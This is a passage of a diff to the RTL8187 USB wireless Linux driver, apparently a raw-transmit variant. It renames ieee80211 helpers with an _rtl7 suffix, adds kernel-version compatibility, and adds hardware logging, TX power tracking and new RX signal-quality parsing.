(ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1596,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1607,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1628,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1655,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1682,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1723,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1770,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1830,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1878,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1887,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1970,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2005,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2034,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2124,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2190,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2213,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2227,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2271,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2410,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2428,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2448,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2459,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2472,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2582,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2601,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2623,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2671,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2688,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2705,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2718,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2733,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-06-21 23:44:38.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + 